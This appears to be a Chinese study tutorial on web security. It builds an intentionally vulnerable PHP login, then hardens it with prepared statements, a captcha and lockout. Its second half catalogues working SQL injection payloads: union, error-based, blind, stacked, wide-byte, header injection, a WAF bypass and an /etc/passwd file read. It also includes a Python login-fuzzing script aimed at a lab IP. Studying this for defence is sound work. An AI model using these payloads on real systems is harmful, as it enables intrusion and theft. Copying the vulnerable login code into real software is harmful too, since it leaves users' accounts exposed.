DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>logintitle>
<style>
* {
margin: 0;
padding: 0;
}
html {
height: 100%;
}
body {
height: 100%;
}
.container {
height: 100%;
background-image: linear-gradient(to right, #fbc2eb, #a6c1ee);
}
.login-wrapper {
background-color: #fff;
width: 358px;
height: 588px;
border-radius: 15px;
padding: 0 50px;
position: relative;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
.header {
font-size: 38px;
font-weight: bold;
text-align: center;
line-height: 200px;
}
.input-item {
display: block;
width: 100%;
margin-bottom: 20px;
border: 0;
padding: 10px;
border-bottom: 1px solid rgb(128, 125, 125);
font-size: 15px;
outline: none;
}
.input-item:placeholder {
text-transform: uppercase;
}
.btn {
text-align: center;
padding: 10px;
width: 100%;
margin-top: 40px;
background-image: linear-gradient(to right, #a6c1ee, #fbc2eb);
color: #fff;
border-style: none;
}
.msg {
text-align: center;
line-height: 88px;
}
a {
text-decoration-line: none;
color: #abc1ee;
}
style>
head>
<body>
<div class="container">
<div class="login-wrapper">
<div class="header">登录div>
<form action="./login.php" method="POST">
<div class="form-wrapper">
<input type="text" name="username" placeholder="username" class="input-item">
<input type="password" name="password" placeholder="password" class="input-item">
<input type="text" name="vcode" placeholder="vcode" class="input-item">
<button type="submit" class="btn">登录button>
div>
form>
div>
div>
body>
html>
// login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 万能验证码 违背了OWASP-认证和授权失败
if($vcode!='0000'){
die('vcode-error');
}
$conn = mysqli_connect('192.168.159.128','root','duyun','learn') or die("数据库连接失败");
mysqli_query($conn,'set names utf8');
// 以下代码没有进行预防密码爆破,违背了OWASP-认证和授权授权
$sql = "select * from users where username='$username' and password='$password'";
$result = mysqli_query($conn,$sql);
if(mysqli_num_rows($result) ===1){
echo 'login-pass';
// 失效的访问控制 不登录也可以访问该网址
echo "";
}else{
echo "login-fail";
}
mysqli_close($conn);
?>
简单的sql注入测试
注入类攻击核心点
通常并非一下就可以完成拼接和闭合,需要不断尝试 建议使用脚本+字典
在登录框输入 username=['] password=ddd vocde=0000
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /opt/lampp/htdocs/php/login.php on line 17
login-fail
以上响应可能存在以下两个威胁:
1.单引号可以成功引起SQL语句报错,进行了执行带有'的sql语句,后台没有对单引号处理
select * from users where username=$username and password=$password
正常情况:select * from users where username='w'and password='123456'
攻击情况:select * from users where username=''' and password='123456'
username:'x or id = 1 #
2.敏感目录暴露
/opt/lampp/htdocs/php/login.php 代码的绝对路径
对于上述登录页面发现6个漏洞
1.welcome.php 皆可以访问 没有进行登录判断(中)
2.'作用用户名,报错信息中存在敏感信息,暴露代码的绝对路径(低)
3.保存在数据库的密码是明文存储,不够安全(中)
4.登陆页面可以进行sql注入,轻易的实现登录(高)
5.login.php中使用了万能验证码(中)
6.登录功能可以被爆破,没有进行爆破防护(中)
登录模块各类防护措施
验证码:不建议图片验证码
登录次数限制,并记录IP
多因素认真:账号密码分离
记录用户常用IP地址区域
使用session token
import requests
def login_fuzz(url):
data = {'username': "'", 'password': '1234356', 'vcode': '0000'}
resp = requests.post(url=url, data=data)
if 'Warning' in resp.text:
print("可能存在sql注入,'被查询语句执行")
# 存在利用嫌疑,继续利用, 代替字典,进行写login_payload
# 字典文件可以自己进行积累!!!
payload_list = ["x' or id=1#","x' or id=2#", "x' or uid=1#","x' or uuid=1#","x' or userid=1#"]
for username in payload_list:
data = {'username': username, 'password': '1234356', 'vcode': '0000'}
resp = requests.post(data=data,url=url)
if "login-fail" not in resp.text:
print(f"登录成功,payload为{username}")
else:
print("通过试探,发现登录网站对'不敏感")
if __name__ == '__main__':
login_fuzz('http://192.168.159.128/php/login.php')
无论用户是否登录,都可以访问原先要登录成功才能访问的页面
//common.php添加 session_start(),让其他页面引用 便于直接使用
//welcome/php修改
include "./commen.php";
if(!isset($_SESSION['islogin']) or $_SESSION['islogin'] !== 'true'){
echo "";
echo '';
}
echo "欢迎到来";
//login.php存储session信息
if(mysqli_num_rows($result) ===1){
echo 'login-pass';
$_SESSION['username']=$username;
$_SESSION['islogin'] = 'true';
// 失效的访问控制 不登录也可以访问该网址
echo "";
}else{
echo "login-fail";
}
?>
当用户输入 ’ 时会引起后台报错,将代码的绝对路径输出 暴露出敏感信息
//login.php的执行SQL添加
$result = mysqli_query($conn,$sql) or die("SQL语句执行失败");
使用md5函数
$source = 'hdsah';
echo md5($source);
// users表中的password字段必须是32+
// 用户注册时,必须使用md5函数对password加密
以编写的登录界面为例!
开启MySQL临时日志
use mysql;
set global log_output = 'TABLE';
set global general_log = 'ON';
# 查看一下
show variables like 'general_log';
面向对象操作mysqli
// 面向对象的mysql连接
function create_connection_oop(){
$conn = new mysqli('192.168.159.128','root','duyun','learn')or die("数据库连接失败");
$conn->set_charset('utf-8');
return $conn;
}
// 执行sql语句
function exe_sql($sql){
$conn = create_connection_oop();
$result = $conn->query($sql);
// 获取结果集的行数
// echo $result->num_rows;
// 获取结果集的数组
$row = $result->fetch_assoc();
var_dump($row);
}
// 以下代码没有进行预防密码爆破,违背了OWASP-认证和授权授权
// 该sql语句在登录时本身就存在严重的漏洞,用户名和密码不应该放在同一个SQL查询语句中
// 应该先通过用户名查询users表,如果确实找到一条记录然后重新对密码进行单独对比
// $sql = "select * from users where username='$username' and password='$password'";
// login.php
$sql = "select * from users where username='$username'";
$result = mysqli_query($conn,$sql) or die("SQL语句执行失败");
if(mysqli_num_rows($result) ===1){
$row = mysqli_fetch_assoc($result);
if($row['password']===$password){
echo 'login-pass';
$_SESSION['username']=$username;
$_SESSION['islogin'] = 'true';
// 失效的访问控制 不登录也可以访问该网址
echo "";
}else{
echo "login-fail";
// echo 'password-fail'; 尽量不要暴露过多信息 这样对于爆破更加困呐
}
}else{
echo "login-fail";
}
addslashes函数可以将字符串的单引号、双引号、反斜杠、NULL值自动添加转义字符,从而防止SQL注入中对单引号 双引号的预防
//login.php修改
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
//原始sql语句:
select * from users where username='$username' and password='$password';
//用户输入 x'or id=1# 时
select * from users where username='x'or id=1#' and password='$password';
//使用addslashes函数上述sql语句变为 '分隔符变为字符串 x\'or id=1#\'==用户名
select * from users where username='x\'or id=1#\'' and password='$password';
也是将字符串的单引号、双引号、反斜杠、NULL值自动添加转义字符,从而防止SQL注入中对单引号 双引号的预防
基本操作
// mysqli预处理(面向对象)
function mysqli_prepare_opp(){
$conn = create_connection_oop();
// ? 是在预处理语句中的代替参数 一个参数一个?
// $sql = "select * from users where username=?";
$sql ="update users set username=? where id=?";
// 实例化预处理对象
$stmt = $conn->prepare($sql);
// 实例化后需要将参数值进行绑定并在执行时替换
// bind_param 第一个参数数据类型 i 整数 s 字符串 d 小数 b 二进制
$stmt->bind_param('si',$username,$id);
$username = 'duyun';
$id = 1;
// 正式执行语句 返回的是一个布尔值
// 如果是更新类操作 如update insert delete 执行后不需要其他操作没有问题
$stmt->execute();
$conn->commit();//默认情况下会自动提交 也可以手动处理
// 如果是查询类操作 select 单纯只是执行无法取得查询的结果的,需要进行结果绑定
$sql = "select * from users where username=?";
$stmt->prepare($sql);
$stmt->bind_param('s',$username);
$username = 'duyun';
// 绑定结果
$stmt->bind_result($id,$username,$password);
$stmt->execute();
// 调用结果并进行处理
$stmt->store_result();
// 打印行数
echo $stmt->num_rows.'
';
// 打印结果集
while($stmt->fetch()){
echo $id,$username,$password.'
';
}
}
预防sql注入
//在login.php修改
$conn = create_connection_oop();
$sql = 'select username,password from users where username=?';
// 实例化预处理对象
$stmt = $conn->prepare($sql);
// 绑定参数
$stmt->bind_param('s',$username);
$username= $_POST['username'];
// 绑定结果集
$stmt->bind_result($username,$password);
$stmt->execute();
// 调用结果并进行处理
$stmt->store_result();
if($stmt->num_rows ===1){
// 获取结果 $username $password
$stmt->fetch();
if($password === $_POST['password']){
echo 'login-pass';
$_SESSION['username']=$username;
$_SESSION['islogin'] = 'true';
// 失效的访问控制 不登录也可以访问该网址
echo "";
}else{
echo "login-fail";
}
}else{
echo "login-fail";
}
$conn->close();
核心目的就是确保人在使用系统。图片验证码、拖动验证码、拼图验证码、等等
图片验证码原理:
vcode.php,基于PHP绘制基础图片生成验证码,将验证码保存在session中
// 客户端已经获取Session_ID时,只要通过HTTP请求中的cookie字段将其发给服务器 服务器不会再生成session_ID
session_start();
getCode();
// 生成图片验证码 验证码长度 验证码宽度 验证码高度
function getCode($vlen = 4,$width=80,$height=25){
// 定义响应类型为png图片 默认是html
header('content-type:image/png');
// 生成随机验证码字符串 保存在session中
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
// str_shuffle 打乱顺序 截取前四个
$vcode = substr(str_shuffle($chars), 0, $vlen);
// 将生成的随机验证码字符串保存到Session变量中,供登录后对比
$_SESSION['vcode'] = $vcode;
// 调用setcookie函数生成自定义Cookie,Cookie是保存在客户端,服务器端本身不保存
// setcookie("vcode", $vcode, time()+3600*24*30*12);
// 定义图片并设置背景色RGB为:100,200,100
$image = imagecreate($width,$height);
$imgColor = imagecolorallocate($image,100,200,200);
// 以RGB=0, 0, 0的颜色绘制黑色文字
$color = imagecolorallocate($image,0,0,0);
imagestring($image, 5, 20, 5, $vcode, $color);
// 生成一批随机位置的干扰点
// for($i=0; $i<50; $i++){
// imagesetpixel($image, rand(0,$width), rand(0,$height), $color);
// }
// 输出图片验证码,并将其在内存的数据销毁
imagepng($image);
imagedestroy($image);
}
?>
if(strtolower($_SESSION['vcode']) !== strtolower($vcode)){
die('vcode-error');
}
验证码不一定非要存在session中,任何可以存储数据的方式均可以:
数据库、文件、内存中
Redis缓存服务器中:短信验证码,使用redis缓存并设置key的过期时间
当验证码存在session时,每一次刷新登录页面验证码才会改变
如果使用python、burp、fiddler等直接发送登录请求,此时验证码再session会保持最后一个,从而只需要在发送请求的时候将验证码设置为最后一个即可,如下图
验证码使用一次就要清空,不可以重复使用
//不区分大小写 保留万能验证码 方便调试
if($vcode!='0000' and strtolower($_SESSION['vcode']) !== strtolower($vcode)){
die('vcode-error');
}else{
// 验证码成功后清空验证码
unset($_SESSION['vcode']);
// $_SESSION['vcode'] = ''; // 不能直接设置为空字符串 否则也可以在请求上提交一个空值 进行爆破
}
// unset($_SESSION['vcode']); // 无论验证码是否正确 每次提交一次都会清空一次 但是会增加服务器负担
session生成过程:当用户第一次访问服务器时,如果请求中没有cookie字段,则服务器会在首次调用session_start()的页面中响应一个session ID;接下来,后续每一个请求都会在请求头的cookie字段携带着sessionID,目的是告诉服务器我是谁
可以在服务器端直接手工生成cookie
cookie是由客户端保存,服务端利用cookie进行验证码验证没有任何实际价值 客户端可以随便的更改cookie的vcode;而session的值保存在服务器端 返回客户端一个sessionid
可以根本上防止暴力破解
基础
// php中操作时间
date_default_timezone_set("PRC");//设置默认时区为中国
date('Y-m-d H-i-s');//年月日时分秒
echo (strtotime($time1)-strtotime($time2));//比较时间差值
//sql操作时间
SELECT TIMESTAMPDIFF(MINUTE,lasttime,NOW()) FROM users WHERE id=1;
代码修改
$conn = create_connection_oop();
$sql = 'select username,password,failcount,TIMESTAMPDIFF(MINUTE,lasttime,NOW()) from users where username=?';
// 实例化预处理对象
$stmt = $conn->prepare($sql);
// 绑定参数
$stmt->bind_param('s',$usernames);
$usernames= $_POST['username'];
// 绑定结果集
$stmt->bind_result($username,$password,$failcount,$timediff);
$stmt->execute();
// 调用结果并进行处理
$stmt->store_result();
if($stmt->num_rows ===1){
// 获取结果 $username $password
$stmt->fetch();
// 判断密码之前 判断登录次数是否受限并且时间上是否可以zai
if($failcount>=5 and $timediff<=60){
die("用户被锁定");
}
if($password === $_POST['password']){
if($failcount>0){
$sql = "update users set failcount = 0 where username=?";
$stmt->prepare($sql);
$stmt->bind_param('s',$username);
$stmt->execute();
$conn->commit();
}
echo 'login-pass';
$_SESSION['username']=$username;
$_SESSION['islogin'] = 'true';
// 失效的访问控制 不登录也可以访问该网址
echo "";
}else{
// 登录错误次数加一 获取最后一次登录错误的时间
$sql = "update users set failcount = failcount+1,lasttime=now() where username=?";
$stmt->prepare($sql);
$stmt->bind_param('s',$username);
$stmt->execute();
$conn->commit();
echo "password-fail";
}
}else{
echo "user-invalid";
echo "";
}
$conn->close();
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where id=1
组合出来的sql注入语句为:select * from news where id=1 and 1=1
检验是否存在注入
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where name='admin'注意多了引号。 input 'and 1=1'
组合出来的sql注入语句为:select * from news where chr='admin 'and 1=1' '
检验是否存在注入
有时候–+和#或被过滤掉 可以考虑使用#的url编码后的(首先考虑可以)
'and 1=1 # 'and 1=2 # === ’ and 1=1 %23 ’ and 1=2 %23
'and 1=1 --+ 'and 1=2 --+
等等
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:
select * from 表名 where 字段 like '%关键字%'`。
组合出来的sql注入语句为:
select * from news where search like '%测试 %'and'%1%'='%1 %'
测试%' union select 1,2,3,4 and '%'='
检验是否存在注入
大部分针对字符型
一般情况就是使用 ,正常显示说明是闭合了,可以在
where id = '{$i}' # 闭合 '--+
where id = "{$i}" # 闭合 "--+
where id = ('{$i}') # 闭合 ') --+
(...where id =('{$i}')) # 闭合 ')) --'
基于union进行查询,union查询前提前提:前者后者查询的列数相等
通过 and 1=1、and 1=2 或 ’ 或 " 等等判断手段判断是否存在注入点,结果不一致、报错等说明数据库执行了输入的语句,存在注入点
根据回显内容来判定输入点的数据类型,数字型、字符型、搜索型
order by本质是一个排序的语法,基于order by的前提条件实现对列数的探测:排序必须建立在正确的主查询语句上,即列要存在,确认主查询的列数,确保union select的查询和主查询列数一致。超过主查询列数order by就会报错,后面参数可以跟列名或者第几列
?id=1 order by 6 --+
确定之前要把本来的页面至不显示
union select 查询,并把主查询参数改为负数,让其无法回显
# union 联合查询前提:列数相等
select * from user where id = -1 union select 1,2,3,4,5,6
# select 1,2,3,4,5,6 会按照列的顺序依次列出,select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组,和原来属性值一一对应
在回显的数字位置替换查询语句:user()、database()、version()
select * from user where id = -1 union select 1,user(),database(),version(),5,6
id=-1 union select 1,group_concat(distinct(table_schema)),3 from information_schema.tables
方法一:使用 ' and exists(select col_name from table_name) --+
,使用 bp+字典 爆破
方法二:
id=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
方法一:使用 ' and exists(select col_name from table_name) --+
,使用 bp+字典 爆破
方法二:
id=1 union select 1,group_concat(column_name),3 from information_schema.columns where table.schema='security' and table_name='users'
id=1 union select 1,group_concat(id,'--',username,'--',password),3 from users --+
# 第一个参数指定连接符
select concat_ws('==',username,password)as useinfo from user;
# 配合group_concat()
select group_concat(concat_ws('==',username,password)) from user;
# 完整取得数据后,可以使用python对字符串切分
# 绕过:十六进制代替单引号
mysql中将字符串转为16进制 select hex('learn')
where table_schema=0x....
exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:“DOUBLE value is out of range”
例如:
?id=1 and exp(~(select * from (select user())a)) --+
# 先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
# 然后在查询select * from a 查询a,将结果集a全部查询出来
# 查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
读取文件
select exp(~(select*from(select load_file('/etc/passwd'))a));
MySQL处理XML
我在作测试
子节点1值
子节点2值
-- 查询xml中指定节点内容
select extractvalue(textxml,'/root/element/child[@name="子节点2"]')FROM testxml;
-- 更新xml指定节点内容
update testxml set textxml=updatexml(textxml,'/root/element/child[@name="子节点2"]','子节点二 ');
将Xpath_string的值传递成不符合格式的参数,mysql就会报错
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:XML的路径(显出出来)
new_value:string格式,替换查找到的符合条件的数据
1、查询用户、数据库版本、使用的数据库、数据库位置
and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e,database(),0x7e,,0x7e),3) --+
2、查询表的名称
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e),3) --+
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),3) --+
3、查询表中列的名字
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),3) --+
4、查询列的具体信息
and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+ | # | %23
and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
XPath_string:回显信息,代表着xml的路径
和 updatexml用法相似,不过仅传入两个参数
利用的函数:floor()+rand()+group()+count()
rand():随机函数,产生0-1的随机数,若已指定一个整数参数 N ,则它被用作种子值,用来产生重复序列。
floor():floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整
floor(rand(0)*2) --> 得到每次相同得随机序列
group by:进行分组排序相同名字合并,会加载一个虚拟表
mysql> select name,age from ying group by name;
+------+------+
| name | age |
+------+------+
| yu | 60 |
| yun | 530 |
+------+------+
2 rows in set (0.00 sec)
count():重复性的数据进行整合,然后计数
mysql> select name,count(*)count, age from ying group by name;
+------+-------+------+
| name | count | age |
+------+-------+------+
| yu | 1 | 60 |
| yun | 2 | 530 |
+------+-------+------+
2 rows in set (0.00 sec)
利用 select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错
(floor(rand(0)* 2)) x 等价于 (floor(rand(0)* 2)) as x 起别名
报错原因:floor(rand(0)*2)多次执行(查询group by、插入 insert 都会执行一次 )
select count(*) from user group by floor(rand(0)*2);
具体分析原因
使用 group by 分组时会生成一张虚拟表,group by后面的字段作为主键,而且group by要进行两次运算:第一次是把后面的值和虚拟表里面的值对比,首先获取group by后面的值;第二次是假设group by后面的值在虚拟表中不存在,要把值插入虚拟表中,此时也需要进行一次运算
select count(*) from user group by floor(rand(0)*2);
上述语句就floor(rand(0)*2)作为主键,而且rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误
and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a)--+
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
and (select 1 from (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x7e,floor(rand(0)*2)))a)--+
盲注适用场景:没有任何回显的时候(没有报错的、联合的回显)
一些经常使用的函数
length() # 返回查询字符串的长度
mid(column_name,start,length) # 截取字符串
substr(string,start,length)# 截取字符串 从1开始
left(string,n)# 截取字符串
ord()# 返回ASCII码
ascii()# 根据ASCII码返回字符
基于真假进行判断,不管输入什么只有真或者假两种形式(显示或者不显示)
关键点在于通过表达式结果与已知值进行比较,根据比对结果判断正确与否
1、判断当前数据库类型
用下面的语句判断数据库类型,哪个页面正常显示就是那个数据库
?id=1'and exists(select * from information_schema.tables)--+
?id=1'and exists(select * from msysobjects)--+
?id=1'and exists(select * from sysobjects)--+
2、判断数据库名
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5 --+ //正常显示
?id=1' and length(database())>10 --+ //不显示任何数据
?id=1' and length(database())>7 --+ //正常显示
?id=1' and length(database())>8 --+ //不显示任何数据
#大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>115 --+ //115为ascii表中对应字母s
//判断数据库的第二个字符
?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security
3、判断数据库表名
//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
4、判断数据库表字段名
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
由此可判断出users表中存在 id、username、password 字段
5、判断数据库字段具体值
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........
由此可见,布尔盲注手工注入过于繁琐,可以借助工具
延时注入。观察页面发现既没有回显数据库内容,也没有报错信息,又没有布尔类型状态,就要使用延时注入。
less-9中,在id=1后面加入单引号 双引号页面都没有发生任何变化,考虑延时注入
1、判断是否存在延时注入
输入:?id=1'and sleep(5) --+
;观察请求线,大约5秒以上说明语句生效,可进行延时注入
2、获取数据库名字
?id=1' and if(length(database())=7,sleep(5),0) --+
数据库名字长度
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+
......
如果进行5s的延时,说明数据库的名称的首字母是s,
然后逐个判断后面的
3、和布尔注入一样猜数-表的个数-表的长度-表的名字-字段个数-字段长度-字段名字-字段具体值
延时注入可以绕过WAF,payload:
'and(select*from(select+sleep(4))a/**/union/**/select+1)='
所有更新类的操作都不回显信息,所以无法像查询一样使用联合注入,核心:报错注入
update users set username = 'xx
'or updatexml(1,concat(0x7e,database(),0x7e),1) or' # payload 要闭合
' WHERE id =1;
insert users (username,password) values ('xx
'or updatexml(1,concat(0x7e,database(),0x7e),1) or' # payload 要闭合
','xxx')where id=1
delete from users where id=1
or updatexml(1,concat(0x7e,database(),0x7e),1) # payload
更新类的注入也可以适用HTTP头部注入(只要字段可以提交给数据库就可注入)
在sql语句中,分号代表着一句语句的结束;堆叠注入可以一次性执行任意多条语句
对于php 使用堆叠注入前提:使用面向对象的multi_query()
SELECT * FROM users WHERE id=1 ;UPDATE users SET `password`='dududu';
SELECT * FROM users WHERE id='1 ';UPDATE users SET `password`='xxxxxx';' '
!!!堆叠注入可以写入木马!!!
二阶注入漏洞是一种web应用程序中广泛存在的安全漏洞形式。相比一阶注入。二阶注入更难被发现,但危害也更大
二次注入就是由于数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后与第二次提交请求时组合,构成一条新的sql语句被执行
1、首先新建一个用户 admin '#
2、修改用户密码 修改的是admin的密码
前提:GBK编码
addslashes函数,在单引号’、双引号"、反斜线\和NULL前面加上\
空格 %20 ’ %27 # %23 \ %5C
' -> \' %5C%27 逃逸:加%df %df
' -> %df\' %df%5C%27 GBK编码两个字符看作为一个汉字%df%5C
%df和\结合一个GBK文字,'逃逸出来
select * from users where id=1 # 输入' 转义成 \'
只要字符被转换理论上就存在注入的可能。%2526
原理:提交web参数的时候,浏览器自动对url进行一次解码 如果提交的是 id=1%2527,会被解析为 id=1%27,此时如果还使用了urldecode函数 进行二次解码 id=1’ 造成注入
绝大部分的网站都会采集用户的信息,当明面上的输入都被防注入时可以考虑http头部注入,如果要采集,referer和user-agent必然被收集,配合error注入
产生注入的条件:
User-Agent::使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。
sqli-labs less-18为例子,dumb,0
1、判断注入点
user-agent后面加入 ’ 确定是否存在sql注入
2、获得数据库名
…
cookie:服务器端用来记录客户端状态得参数。服务器端产生,保存在浏览器中
sqli-labs less-20为例
1、判断注入点
先登录账号 dumb–0,
2、获得数据库名
…
sqli-labs less-19
Referer:用来告诉服务器该网页是从哪个网页链接过来得,
1、判断注入点
2、正常处理…
X-Forwarded-For(XFF):用来识别客户端最原始的ip地址
PHP获取HTTP头部字段 $_SERVER
$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。
$_SERVER['REMOTE_HOST'] //当前用户主机名
$_SERVER['REQUEST_URI'] //URL
$_SERVER['REMOTE_PORT'] //端口。
$_SERVER['SERVER_NAME'] //服务器主机的名称。
$_SERVER['PHP_SELF']//正在执行脚本的文件名
$_SERVER['argv'] //传递给该脚本的参数。
$_SERVER['argc'] //传递给程序的命令行参数的个数。
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法
$_SERVER['QUERY_STRING'] //查询(query)的字符串。
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
